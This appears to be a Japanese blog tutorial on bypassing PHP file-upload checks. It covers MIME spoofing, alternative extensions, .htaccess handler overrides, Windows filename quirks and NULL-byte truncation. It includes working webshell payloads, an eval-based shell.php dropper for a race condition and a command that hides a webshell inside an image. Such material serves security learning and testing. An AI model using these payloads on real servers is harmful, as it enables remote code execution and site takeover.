ファイルアップロード脆弱性のバイパス手法と実践的対策

MIMEタイプバイパス

サーバー側で特定のMIMEタイプを制限することでファイルアップロード脆弱性の悪用を防止する手法があります。一般的なファイルのMIMEタイプは以下の通りです:

.txt - text/plain
.html - text/html
.php - application/octet-stream
.png - image/png
.jpg - image/jpeg
.gif - image/gif

実装例:

$upload_status = false;
$message = null;
if (isset($_POST['submit_btn'])) {
    if (file_exists($UPLOAD_DIR)) {
        if (($_FILES['user_file']['type'] == 'image/jpeg') 
            || ($_FILES['user_file']['type'] == 'image/png') 
            || ($_FILES['user_file']['type'] == 'image/gif')) {
            // 許可されたMIMEタイプの処理
        }
    }
}

この検証はBurpSuiteなどのツールでリクエスト内のMIMEタイプをimage/jpegに変更することでバイパス可能です。

ファイル拡張子バイパス

Apache解析脆弱性

Apacheの設定で複数の拡張子をPHPとして解析する設定がある場合:

AddType application/x-httpd-php .php .php3 .phtml

防御コード例:

$blocked_exts = array('.asp','.aspx','.php','.jsp');
$filename = trim($_FILES['user_file']['name']);
$file_ext = strtolower(strrchr($filename, '.'));
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

if(!in_array($file_ext, $blocked_exts)) {
    // ファイルアップロード処理
}

バイパス手法:

  • Webshellの拡張子を.php3や.phtmlに変更
  • 1.php.xxxxのような形式でアップロード(Apacheは右から左に解析)

.htaccessファイル悪用

.htaccessファイルをアップロードし、サーバーの挙動を変更:

SetHandler application/x-httpd-php

これにより、そのディレクトリ内の全てのファイルがPHPとして実行されます。

Windowsシステムの解析特性

Windowsではファイル名末尾のドットやスペースが自動的に除去される特性を利用:

  • ファイル名を「shell.php.」としてアップロード
  • 「file.<<<」で既存ファイルを上書き

PHPファイル切り捨て脆弱性

PHP 5.3.4未満では%00(NULLバイト)を文字列終端として扱う特性があり、これによりパス検証をバイパスできます。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

save_pathパラメータに「upload/shell.php%00」を指定すると、%00以降が切り捨てられshell.phpが作成されます。

画像ファイル悪用

Webshellコードを画像ファイルに埋め込み、ファイル包含脆弱性と組み合わせて実行:

copy image.jpg /b + webshell.php /a malicious_image.jpg

画像のメタデータ検査をバイパスするため、画像の再生後も変更されない部分にコードを挿入します。

競合状態脆弱性

ファイルアップロードと削除の時間差を悪用:

<?php 
file_put_contents('../shell.php', '<?php eval($_POST[cmd]); ?>');
?>

このファイルをアップロード後、削除される前に即座にアクセスすることで永続的なWebshellを設置します。

phpcmsアバターアップロード脆弱性

phpcmsのアバターアップロード機能に存在した脆弱性は、適切な検証が不足していたため悪用可能でした。

タグ: ファイルアップロード PHP Apache セキュリティ Web脆弱性

7月21日 16:28 投稿